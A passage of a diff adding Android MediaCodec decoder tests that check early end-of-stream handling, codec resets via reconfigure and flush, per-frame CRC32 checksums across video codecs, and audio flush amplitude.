+                120 /* eosframe */);
+    }
+
+    @Test
+    public void testCodecEarlyEOSVP8() throws Exception {
+        testCodecEarlyEOS("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                120 /* eosframe */);
+    }
+
+    @Test
+    public void testCodecEarlyEOSVP9() throws Exception {
+        testCodecEarlyEOS(
+                "video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                120 /* eosframe */);
+    }
+
+    @Test
+    public void testCodecEarlyEOSAV1() throws Exception {
+        testCodecEarlyEOS("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                120 /* eosframe */);
+    }
+
+    @Test
+    public void testCodecResetsH264WithoutSurface() throws Exception {
+        testCodecResets("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                null);
+    }
+
+    @Test
+    public void testCodecResetsH264WithSurface() throws Exception {
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        testCodecResets("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", s);
+    }
+
+    @Test
+    public void testCodecResetsHEVCWithoutSurface() throws Exception {
+        testCodecResets("bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
+                null);
+    }
+
+    @Test
+    public void testCodecResetsHEVCWithSurface() throws Exception {
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        testCodecResets("bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
+                s);
+    }
+
+    @Test
+    public void testCodecResetsMpeg2WithoutSurface() throws Exception {
+        testCodecResets("video_1280x720_mp4_mpeg2_6000kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
+                null);
+    }
+
+    @Test
+    public void testCodecResetsMpeg2WithSurface() throws Exception {
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        testCodecResets("video_176x144_mp4_mpeg2_105kbps_25fps_aac_stereo_128kbps_44100hz.mp4", s);
+    }
+
+    @Test
+    public void testCodecResetsH263WithoutSurface() throws Exception {
+        testCodecResets("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",null);
+    }
+
+    @Test
+    public void testCodecResetsH263WithSurface() throws Exception {
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        testCodecResets("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp", s);
+    }
+
+    @Test
+    public void testCodecResetsMpeg4WithoutSurface() throws Exception {
+        testCodecResets("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                null);
+    }
+
+    @Test
+    public void testCodecResetsMpeg4WithSurface() throws Exception {
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        testCodecResets("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4", s);
+    }
+
+    @Test
+    public void testCodecResetsVP8WithoutSurface() throws Exception {
+        testCodecResets("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                null);
+    }
+
+    @Test
+    public void testCodecResetsVP8WithSurface() throws Exception {
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        testCodecResets("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                s);
+    }
+
+    @Test
+    public void testCodecResetsVP9WithoutSurface() throws Exception {
+        testCodecResets("video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                null);
+    }
+
+    @Test
+    public void testCodecResetsAV1WithoutSurface() throws Exception {
+        testCodecResets("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                null);
+    }
+
+    @Test
+    public void testCodecResetsVP9WithSurface() throws Exception {
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        testCodecResets("video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                s);
+    }
+
+    @Test
+    public void testCodecResetsAV1WithSurface() throws Exception {
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        testCodecResets("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                s);
+    }
+
+//    public void testCodecResetsOgg() throws Exception {
+//        testCodecResets("sinesweepogg.ogg", null);
+//    }
+
+    @Test
+    public void testCodecResetsMp3() throws Exception {
+        testCodecReconfig("sinesweepmp3lame.mp3");
+        // NOTE: replacing testCodecReconfig call soon
+//        testCodecResets("sinesweepmp3lame.mp3, null);
+    }
+
+    @Test
+    public void testCodecResetsM4a() throws Exception {
+        testCodecReconfig("sinesweepm4a.m4a");
+        // NOTE: replacing testCodecReconfig call soon
+//        testCodecResets("sinesweepm4a.m4a", null);
+    }
+
+    private void testCodecReconfig(final String audio) throws Exception {
+        int size1 = countSize(audio, RESET_MODE_NONE, -1 /* eosframe */);
+        int size2 = countSize(audio, RESET_MODE_RECONFIGURE, -1 /* eosframe */);
+        assertEquals("different output size when using reconfigured codec", size1, size2);
+    }
+
+    private void testCodecResets(final String video, Surface s) throws Exception {
+        if (!MediaUtils.checkCodecForResource(mInpPrefix + video, 0 /* track */)) {
+            return; // skip
+        }
+
+        int frames1 = countFrames(video, RESET_MODE_NONE, -1 /* eosframe */, s);
+        int frames2 = countFrames(video, RESET_MODE_RECONFIGURE, -1 /* eosframe */, s);
+        int frames3 = countFrames(video, RESET_MODE_FLUSH, -1 /* eosframe */, s);
+        assertEquals("different number of frames when using reconfigured codec", frames1, frames2);
+        assertEquals("different number of frames when using flushed codec", frames1, frames3);
+    }
+
+    private static void verifySecureVideoDecodeSupport(
+            String mime, int width, int height, float rate, int profile, int level, int bitrate) {
+        MediaFormat baseFormat = new MediaFormat();
+        baseFormat.setString(MediaFormat.KEY_MIME, mime);
+        baseFormat.setFeatureEnabled(CodecCapabilities.FEATURE_SecurePlayback, true);
+
+        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
+        format.setFeatureEnabled(CodecCapabilities.FEATURE_SecurePlayback, true);
+        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
+        format.setInteger(MediaFormat.KEY_PROFILE, profile);
+        format.setInteger(MediaFormat.KEY_LEVEL, level);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        if (mcl.findDecoderForFormat(baseFormat) == null) {
+            MediaUtils.skipTest("no secure decoder for " + mime);
+            return;
+        }
+        assertNotNull("no decoder for " + format, mcl.findDecoderForFormat(format));
+    }
+
+    private static MediaCodec createDecoder(MediaFormat format) {
+        return MediaUtils.getDecoder(format);
+    }
+
+    // for video
+    private int countFrames(final String video, int resetMode, int eosframe, Surface s)
+            throws Exception {
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(mInpPrefix + video);
+        extractor.selectTrack(0);
+
+        int numframes = decodeWithChecks(null /* decoderName */, extractor,
+                CHECKFLAG_RETURN_OUTPUTFRAMES | CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH,
+                resetMode, s, eosframe, null, null);
+
+        extractor.release();
+        return numframes;
+    }
+
+    // for audio
+    private int countSize(final String audio, int resetMode, int eosframe)
+            throws Exception {
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(mInpPrefix + audio);
+
+        extractor.selectTrack(0);
+
+        // fails CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH
+        int outputSize = decodeWithChecks(null /* decoderName */, extractor,
+                CHECKFLAG_RETURN_OUTPUTSIZE, resetMode, null,
+                eosframe, null, null);
+
+        extractor.release();
+        return outputSize;
+    }
+
+    /*
+    * Test all decoders' EOS behavior.
+    */
+    private void testEOSBehavior(final String movie, int stopatsample) throws Exception {
+        testEOSBehavior(movie, new int[] {stopatsample});
+    }
+
+    /*
+    * Test all decoders' EOS behavior.
+    */
+    private void testEOSBehavior(final String movie, int[] stopAtSample) throws Exception {
+        Surface s = null;
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(mInpPrefix + movie);
+        extractor.selectTrack(0); // consider variable looping on track
+        MediaFormat format = extractor.getTrackFormat(0);
+
+        String[] decoderNames = MediaUtils.getDecoderNames(format);
+        for (String decoderName: decoderNames) {
+            List<Long> outputChecksums = new ArrayList<Long>();
+            List<Long> outputTimestamps = new ArrayList<Long>();
+            Arrays.sort(stopAtSample);
+            int last = stopAtSample.length - 1;
+
+            // decode reference (longest sequence to stop at + 100) and
+            // store checksums/pts in outputChecksums and outputTimestamps
+            // (will fail CHECKFLAG_COMPAREINPUTOUTPUTSAMPLEMATCH)
+            decodeWithChecks(decoderName, extractor,
+                    CHECKFLAG_SETCHECKSUM | CHECKFLAG_SETPTS | CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH,
+                    RESET_MODE_NONE, s,
+                    stopAtSample[last] + 100, outputChecksums, outputTimestamps);
+
+            // decode stopAtSample requests in reverse order (longest to
+            // shortest) and compare to reference checksums/pts in
+            // outputChecksums and outputTimestamps
+            for (int i = last; i >= 0; --i) {
+                if (true) { // reposition extractor
+                    extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                } else { // create new extractor
+                    extractor.release();
+                    extractor = new MediaExtractor();
+                    extractor.setDataSource(mInpPrefix + movie);
+                    extractor.selectTrack(0); // consider variable looping on track
+                }
+                decodeWithChecks(decoderName, extractor,
+                        CHECKFLAG_COMPARECHECKSUM | CHECKFLAG_COMPAREPTS
+                        | CHECKFLAG_COMPAREINPUTOUTPUTSAMPLEMATCH
+                        | CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH,
+                        RESET_MODE_NONE, s,
+                        stopAtSample[i], outputChecksums, outputTimestamps);
+            }
+            extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+        }
+
+        extractor.release();
+    }
+
+    private static final int CHECKFLAG_SETCHECKSUM = 1 << 0;
+    private static final int CHECKFLAG_COMPARECHECKSUM = 1 << 1;
+    private static final int CHECKFLAG_SETPTS = 1 << 2;
+    private static final int CHECKFLAG_COMPAREPTS = 1 << 3;
+    private static final int CHECKFLAG_COMPAREINPUTOUTPUTSAMPLEMATCH = 1 << 4;
+    private static final int CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH = 1 << 5;
+    private static final int CHECKFLAG_RETURN_OUTPUTFRAMES = 1 << 6;
+    private static final int CHECKFLAG_RETURN_OUTPUTSIZE = 1 << 7;
+
+    /**
+     * Decodes frames with parameterized checks and return values.
+     * If decoderName is provided, mediacodec will create that decoder. Otherwise,
+     * mediacodec will use the default decoder provided by platform.
+     * The integer return can be selected through the checkFlags variable.
+     */
+    private static int decodeWithChecks(
+            String decoderName, MediaExtractor extractor,
+            int checkFlags, int resetMode, Surface surface, int stopAtSample,
+            List<Long> outputChecksums, List<Long> outputTimestamps)
+            throws Exception {
+        int trackIndex = extractor.getSampleTrackIndex();
+        MediaFormat format = extractor.getTrackFormat(trackIndex);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        boolean isAudio = mime.startsWith("audio/");
+        ByteBuffer[] codecInputBuffers;
+        ByteBuffer[] codecOutputBuffers;
+
+        MediaCodec codec =
+                decoderName == null ? createDecoder(format) : MediaCodec.createByCodecName(decoderName);
+        Log.i("@@@@", "using codec: " + codec.getName());
+        codec.configure(format, surface, null /* crypto */, 0 /* flags */);
+        codec.start();
+        codecInputBuffers = codec.getInputBuffers();
+        codecOutputBuffers = codec.getOutputBuffers();
+
+        if (resetMode == RESET_MODE_RECONFIGURE) {
+            codec.stop();
+            codec.configure(format, surface, null /* crypto */, 0 /* flags */);
+            codec.start();
+            codecInputBuffers = codec.getInputBuffers();
+            codecOutputBuffers = codec.getOutputBuffers();
+        } else if (resetMode == RESET_MODE_FLUSH) {
+            codec.flush();
+
+            // We must always queue CSD after a flush that is potentially
+            // before we receive output format has changed.
+            queueConfig(codec, format);
+        }
+
+        // start decode loop
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+
+        MediaFormat outFormat = codec.getOutputFormat();
+        long kTimeOutUs = 5000; // 5ms timeout
+        String outMime = format.getString(MediaFormat.KEY_MIME);
+        if ((surface == null) && (outMime != null) && outMime.startsWith("video/")) {
+            int outWidth = outFormat.getInteger(MediaFormat.KEY_WIDTH);
+            int outHeight = outFormat.getInteger(MediaFormat.KEY_HEIGHT);
+            // in the 4K decoding case in byte buffer mode, set kTimeOutUs to 10ms as decode may
+            // involve a memcpy
+            if (outWidth * outHeight >= 8000000) {
+                kTimeOutUs = 10000;
+            }
+        }
+
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        int deadDecoderCounter = 0;
+        int samplenum = 0;
+        int numframes = 0;
+        int outputSize = 0;
+        int width = 0;
+        int height = 0;
+        boolean dochecksum = false;
+        ArrayList<Long> timestamps = new ArrayList<Long>();
+        if ((checkFlags & CHECKFLAG_SETPTS) != 0) {
+            outputTimestamps.clear();
+        }
+        if ((checkFlags & CHECKFLAG_SETCHECKSUM) != 0) {
+            outputChecksums.clear();
+        }
+        boolean advanceDone = true;
+        while (!sawOutputEOS && deadDecoderCounter < 100) {
+            // handle input
+            if (!sawInputEOS) {
+                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
+
+                if (inputBufIndex >= 0) {
+                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+
+                    int sampleSize =
+                            extractor.readSampleData(dstBuf, 0 /* offset */);
+                    assertEquals("end of stream should match extractor.advance()", sampleSize >= 0,
+                            advanceDone);
+                    long presentationTimeUs = extractor.getSampleTime();
+                    advanceDone = extractor.advance();
+                    // int flags = extractor.getSampleFlags();
+                    // Log.i("@@@@", "read sample " + samplenum + ":" +
+                    // extractor.getSampleFlags()
+                    // + " @ " + extractor.getSampleTime() + " size " +
+                    // sampleSize);
+
+                    if (sampleSize < 0) {
+                        assertFalse("advance succeeded after failed read", advanceDone);
+                        Log.d(TAG, "saw input EOS.");
+                        sawInputEOS = true;
+                        assertEquals("extractor.readSampleData() must return -1 at end of stream",
+                                -1, sampleSize);
+                        assertEquals("extractor.getSampleTime() must return -1 at end of stream",
+                                -1, presentationTimeUs);
+                        sampleSize = 0; // required otherwise queueInputBuffer
+                                        // returns invalid.
+                    } else {
+                        timestamps.add(presentationTimeUs);
+                        samplenum++; // increment before comparing with stopAtSample
+                        if (samplenum == stopAtSample) {
+                            Log.d(TAG, "saw input EOS (stop at sample).");
+                            sawInputEOS = true; // tag this sample as EOS
+                        }
+                    }
+                    codec.queueInputBuffer(
+                            inputBufIndex,
+                            0 /* offset */,
+                            sampleSize,
+                            presentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+                } else {
+                    assertEquals(
+                            "codec.dequeueInputBuffer() unrecognized return value: " + inputBufIndex,
+                            MediaCodec.INFO_TRY_AGAIN_LATER, inputBufIndex);
+                }
+            }
+
+            // handle output
+            int outputBufIndex = codec.dequeueOutputBuffer(info, kTimeOutUs);
+
+            deadDecoderCounter++;
+            if (outputBufIndex >= 0) {
+                if (info.size > 0) { // Disregard 0-sized buffers at the end.
+                    deadDecoderCounter = 0;
+                    if (resetMode != RESET_MODE_NONE) {
+                        // once we've gotten some data out of the decoder, reset
+                        // and start again
+                        if (resetMode == RESET_MODE_RECONFIGURE) {
+                            codec.stop();
+                            codec.configure(format, surface /* surface */, null /* crypto */,
+                                    0 /* flags */);
+                            codec.start();
+                            codecInputBuffers = codec.getInputBuffers();
+                            codecOutputBuffers = codec.getOutputBuffers();
+                        } else if (resetMode == RESET_MODE_FLUSH) {
+                            codec.flush();
+                        } else {
+                            fail("unknown resetMode: " + resetMode);
+                        }
+                        // restart at beginning, clear resetMode
+                        resetMode = RESET_MODE_NONE;
+                        extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                        sawInputEOS = false;
+                        numframes = 0;
+                        timestamps.clear();
+                        if ((checkFlags & CHECKFLAG_SETPTS) != 0) {
+                            outputTimestamps.clear();
+                        }
+                        if ((checkFlags & CHECKFLAG_SETCHECKSUM) != 0) {
+                            outputChecksums.clear();
+                        }
+                        continue;
+                    }
+                    if ((checkFlags & CHECKFLAG_COMPAREPTS) != 0) {
+                        assertTrue("number of frames (" + numframes
+                                + ") exceeds number of reference timestamps",
+                                numframes < outputTimestamps.size());
+                        assertEquals("frame ts mismatch at frame " + numframes,
+                                (long) outputTimestamps.get(numframes), info.presentationTimeUs);
+                    } else if ((checkFlags & CHECKFLAG_SETPTS) != 0) {
+                        outputTimestamps.add(info.presentationTimeUs);
+                    }
+                    if ((checkFlags & (CHECKFLAG_SETCHECKSUM | CHECKFLAG_COMPARECHECKSUM)) != 0) {
+                        long sum = 0;   // note: checksum is 0 if buffer format unrecognized
+                        if (dochecksum) {
+                            Image image = codec.getOutputImage(outputBufIndex);
+                            // use image to do crc if it's available
+                            // fall back to buffer if image is not available
+                            if (image != null) {
+                                sum = checksum(image);
+                            } else {
+                                // TODO: add stride - right now just use info.size (as before)
+                                //sum = checksum(codecOutputBuffers[outputBufIndex], width, height,
+                                //        stride);
+                                ByteBuffer outputBuffer = codec.getOutputBuffer(outputBufIndex);
+                                outputBuffer.position(info.offset);
+                                sum = checksum(outputBuffer, info.size);
+                            }
+                        }
+                        if ((checkFlags & CHECKFLAG_COMPARECHECKSUM) != 0) {
+                            assertTrue("number of frames (" + numframes
+                                    + ") exceeds number of reference checksums",
+                                    numframes < outputChecksums.size());
+                            Log.d(TAG, "orig checksum: " + outputChecksums.get(numframes)
+                                    + " new checksum: " + sum);
+                            assertEquals("frame data mismatch at frame " + numframes,
+                                    (long) outputChecksums.get(numframes), sum);
+                        } else if ((checkFlags & CHECKFLAG_SETCHECKSUM) != 0) {
+                            outputChecksums.add(sum);
+                        }
+                    }
+                    if ((checkFlags & CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH) != 0) {
+                        assertTrue("output timestamp " + info.presentationTimeUs
+                                + " without corresponding input timestamp"
+                                , timestamps.remove(info.presentationTimeUs));
+                    }
+                    outputSize += info.size;
+                    numframes++;
+                }
+                // Log.d(TAG, "got frame, size " + info.size + "/" +
+                // info.presentationTimeUs +
+                // "/" + numframes + "/" + info.flags);
+                codec.releaseOutputBuffer(outputBufIndex, true /* render */);
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "saw output EOS.");
+                    sawOutputEOS = true;
+                }
+            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = codec.getOutputBuffers();
+                Log.d(TAG, "output buffers have changed.");
+            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat oformat = codec.getOutputFormat();
+                if (oformat.containsKey(MediaFormat.KEY_COLOR_FORMAT) &&
+                        oformat.containsKey(MediaFormat.KEY_WIDTH) &&
+                        oformat.containsKey(MediaFormat.KEY_HEIGHT)) {
+                    int colorFormat = oformat.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+                    width = oformat.getInteger(MediaFormat.KEY_WIDTH);
+                    height = oformat.getInteger(MediaFormat.KEY_HEIGHT);
+                    dochecksum = isRecognizedFormat(colorFormat); // only checksum known raw
+                                                                  // buf formats
+                    Log.d(TAG, "checksum fmt: " + colorFormat + " dim " + width + "x" + height);
+                } else {
+                    dochecksum = false; // check with audio later
+                    width = height = 0;
+                    Log.d(TAG, "output format has changed to (unknown video) " + oformat);
+                }
+            } else {
+                assertEquals(
+                        "codec.dequeueOutputBuffer() unrecognized return index: "
+                                + outputBufIndex,
+                        MediaCodec.INFO_TRY_AGAIN_LATER, outputBufIndex);
+            }
+        }
+        codec.stop();
+        codec.release();
+
+        assertTrue("last frame didn't have EOS", sawOutputEOS);
+        if ((checkFlags & CHECKFLAG_COMPAREINPUTOUTPUTSAMPLEMATCH) != 0) {
+            assertEquals("I!=O", samplenum, numframes);
+            if (stopAtSample != 0) {
+                assertEquals("did not stop with right number of frames", stopAtSample, numframes);
+            }
+        }
+        return (checkFlags & CHECKFLAG_RETURN_OUTPUTSIZE) != 0 ? outputSize :
+                (checkFlags & CHECKFLAG_RETURN_OUTPUTFRAMES) != 0 ? numframes :
+                        0;
+    }
+
+    @Test
+    public void testEOSBehaviorH264() throws Exception {
+        // this video has an I frame at 44
+        testEOSBehavior("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                new int[]{1, 44, 45, 55});
+    }
+    @Test
+    public void testEOSBehaviorHEVC() throws Exception {
+        testEOSBehavior("video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
+                new int[]{1, 17, 23, 49});
+    }
+
+    @Test
+    public void testEOSBehaviorMpeg2() throws Exception {
+        testEOSBehavior("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
+                17);
+        testEOSBehavior("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
+                23);
+        testEOSBehavior("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
+                49);
+    }
+
+    @Test
+    public void testEOSBehaviorH263() throws Exception {
+        // this video has an I frame every 12 frames.
+        testEOSBehavior("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
+                new int[]{1, 24, 25, 48, 50});
+    }
+
+    @Test
+    public void testEOSBehaviorMpeg4() throws Exception {
+        // this video has an I frame every 12 frames
+        testEOSBehavior("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                new int[]{1, 24, 25, 48, 50, 2});
+    }
+
+    @Test
+    public void testEOSBehaviorVP8() throws Exception {
+        // this video has an I frame at 46
+        testEOSBehavior("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                new int[]{1, 46, 47, 57, 45});
+    }
+
+    @Test
+    public void testEOSBehaviorVP9() throws Exception {
+        // this video has an I frame at 44
+        testEOSBehavior("video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
+                new int[]{1, 44, 45, 55, 43});
+    }
+
+    @Test
+    public void testEOSBehaviorAV1() throws Exception {
+        // this video has an I frame at 44
+        testEOSBehavior("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                new int[]{1, 44, 45, 55, 43});
+    }
+
+    /* from EncodeDecodeTest */
+    private static boolean isRecognizedFormat(int colorFormat) {
+        // Log.d(TAG, "color format: " + String.format("0x%08x", colorFormat));
+        switch (colorFormat) {
+        // these are the formats we know how to handle for this test
+            case CodecCapabilities.COLOR_FormatYUV420Planar:
+            case CodecCapabilities.COLOR_FormatYUV420PackedPlanar:
+            case CodecCapabilities.COLOR_FormatYUV420SemiPlanar:
+            case CodecCapabilities.COLOR_FormatYUV420PackedSemiPlanar:
+            case CodecCapabilities.COLOR_TI_FormatYUV420PackedSemiPlanar:
+            case CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar:
+                /*
+                 * TODO: Check newer formats or ignore.
+                 * OMX_SEC_COLOR_FormatNV12Tiled = 0x7FC00002
+                 * OMX_QCOM_COLOR_FormatYUV420PackedSemiPlanar64x32Tile2m8ka = 0x7FA30C03: N4/N7_2
+                 * OMX_QCOM_COLOR_FormatYUV420PackedSemiPlanar32m = 0x7FA30C04: N5
+                 */
+                return true;
+            default:
+                return false;
+        }
+    }
+
+    private static long checksum(ByteBuffer buf, int size) {
+        int cap = buf.capacity();
+        assertTrue("checksum() params are invalid: size = " + size + " cap = " + cap,
+                size > 0 && size <= cap);
+        CRC32 crc = new CRC32();
+        if (buf.hasArray()) {
+            crc.update(buf.array(), buf.position() + buf.arrayOffset(), size);
+        } else {
+            int pos = buf.position();
+            final int rdsize = Math.min(4096, size);
+            byte bb[] = new byte[rdsize];
+            int chk;
+            for (int i = 0; i < size; i += chk) {
+                chk = Math.min(rdsize, size - i);
+                buf.get(bb, 0, chk);
+                crc.update(bb, 0, chk);
+            }
+            buf.position(pos);
+        }
+        return crc.getValue();
+    }
+
+    private static long checksum(ByteBuffer buf, int width, int height, int stride) {
+        int cap = buf.capacity();
+        assertTrue("checksum() params are invalid: w x h , s = "
+                + width + " x " + height + " , " + stride + " cap = " + cap,
+                width > 0 && width <= stride && height > 0 && height * stride <= cap);
+        // YUV 4:2:0 should generally have a data storage height 1.5x greater
+        // than the declared image height, representing the UV planes.
+        //
+        // We only check Y frame for now. Somewhat unknown with tiling effects.
+        //
+        //long tm = System.nanoTime();
+        final int lineinterval = 1; // line sampling frequency
+        CRC32 crc = new CRC32();
+        if (buf.hasArray()) {
+            byte b[] = buf.array();
+            int offs = buf.arrayOffset();
+            for (int i = 0; i < height; i += lineinterval) {
+                crc.update(b, i * stride + offs, width);
+            }
+        } else { // almost always ends up here due to direct buffers
+            int pos = buf.position();
+            if (true) { // this {} is 80x times faster than else {} below.
+                byte[] bb = new byte[width]; // local line buffer
+                for (int i = 0; i < height; i += lineinterval) {
+                    buf.position(pos + i * stride);
+                    buf.get(bb, 0, width);
+                    crc.update(bb, 0, width);
+                }
+            } else {
+                for (int i = 0; i < height; i += lineinterval) {
+                    buf.position(pos + i * stride);
+                    for (int j = 0; j < width; ++j) {
+                        crc.update(buf.get());
+                    }
+                }
+            }
+            buf.position(pos);
+        }
+        //tm = System.nanoTime() - tm;
+        //Log.d(TAG, "checksum time " + tm);
+        return crc.getValue();
+    }
+
+    private static long checksum(Image image) {
+        int format = image.getFormat();
+        assertEquals("unsupported image format", ImageFormat.YUV_420_888, format);
+
+        CRC32 crc = new CRC32();
+
+        int imageWidth = image.getWidth();
+        int imageHeight = image.getHeight();
+
+        Image.Plane[] planes = image.getPlanes();
+        for (int i = 0; i < planes.length; ++i) {
+            ByteBuffer buf = planes[i].getBuffer();
+
+            int width, height, rowStride, pixelStride, x, y;
+            rowStride = planes[i].getRowStride();
+            pixelStride = planes[i].getPixelStride();
+            if (i == 0) {
+                width = imageWidth;
+                height = imageHeight;
+            } else {
+                width = imageWidth / 2;
+                height = imageHeight /2;
+            }
+            // local contiguous pixel buffer
+            byte[] bb = new byte[width * height];
+            if (buf.hasArray()) {
+                byte b[] = buf.array();
+                int offs = buf.arrayOffset();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
+                    }
+                } else {
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        int lineOffset = offs + y * rowStride;
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = b[lineOffset + x * pixelStride];
+                        }
+                    }
+                }
+            } else { // almost always ends up here due to direct buffers
+                int pos = buf.position();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        buf.get(bb, y * width, width);
+                    }
+                } else {
+                    // local line buffer
+                    byte[] lb = new byte[rowStride];
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
+                        buf.get(lb, 0, pixelStride * (width - 1) + 1);
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = lb[x * pixelStride];
+                        }
+                    }
+                }
+                buf.position(pos);
+            }
+            crc.update(bb, 0, width * height);
+        }
+
+        return crc.getValue();
+    }
+
+    @Test
+    public void testFlush() throws Exception {
+        testFlush("loudsoftwav.wav");
+        testFlush("loudsoftogg.ogg");
+        testFlush("loudsoftoggmkv.mkv");
+        testFlush("loudsoftoggmp4.mp4");
+        testFlush("loudsoftmp3.mp3");
+        testFlush("loudsoftaac.aac");
+        testFlush("loudsoftfaac.m4a");
+        testFlush("loudsoftitunes.m4a");
+    }
+
+    private void testFlush(final String resource) throws Exception {
+        MediaExtractor extractor;
+        MediaCodec codec;
+        ByteBuffer[] codecInputBuffers;
+        ByteBuffer[] codecOutputBuffers;
+
+        extractor = new MediaExtractor();
+        extractor.setDataSource(mInpPrefix + resource);
+
+        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
+        MediaFormat format = extractor.getTrackFormat(0);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        assertTrue("not an audio file", mime.startsWith("audio/"));
+
+        codec = MediaCodec.createDecoderByType(mime);
+        assertNotNull("couldn't find codec " + mime, codec);
+
+        codec.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
+        codec.start();
+        codecInputBuffers = codec.getInputBuffers();
+        codecOutputBuffers = codec.getOutputBuffers();
+
+        extractor.selectTrack(0);
+
+        // decode a bit of the first part of the file, and verify the amplitude
+        short maxvalue1 = getAmplitude(extractor, codec);
+
+        // flush the codec and seek the extractor a different position, then decode a bit more
+        // and check the amplitude
+        extractor.seekTo(8000000, 0);
+        codec.flush();
+        short maxvalue2 = getAmplitude(extractor, codec);
+
+        assertTrue("first section amplitude too low", maxvalue1 > 20000);
+        assertTrue("second section amplitude too high", maxvalue2 < 5000);
+        codec.stop();
+        codec.release();
+
+    }
+
+    private short getAmplitude(MediaExtractor extractor, MediaCodec codec) {
+        short maxvalue = 0;
+        int numBytesDecoded = 0;
+        final long kTimeOutUs = 5000;
+        ByteBuffer[] codecInputBuffers = codec.getInputBuffers();
+        ByteBuffer[] codecOutputBuffers = codec.getOutputBuffers();
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+
+        while(numBytesDecoded < 44100 * 2) {
